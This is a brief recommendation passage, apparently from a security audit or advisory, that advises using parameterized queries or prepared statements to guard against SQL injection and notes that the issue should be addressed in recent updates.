Recommendation:

To mitigate the risk of SQL injection, it is strongly advised to use parameterized queries or prepared statements when interacting with databases. Parameterized queries ensure that user input is treated as data, not executable code, making it much more difficult for attackers to inject malicious SQL statements.

This should be mitigated in recent updates.
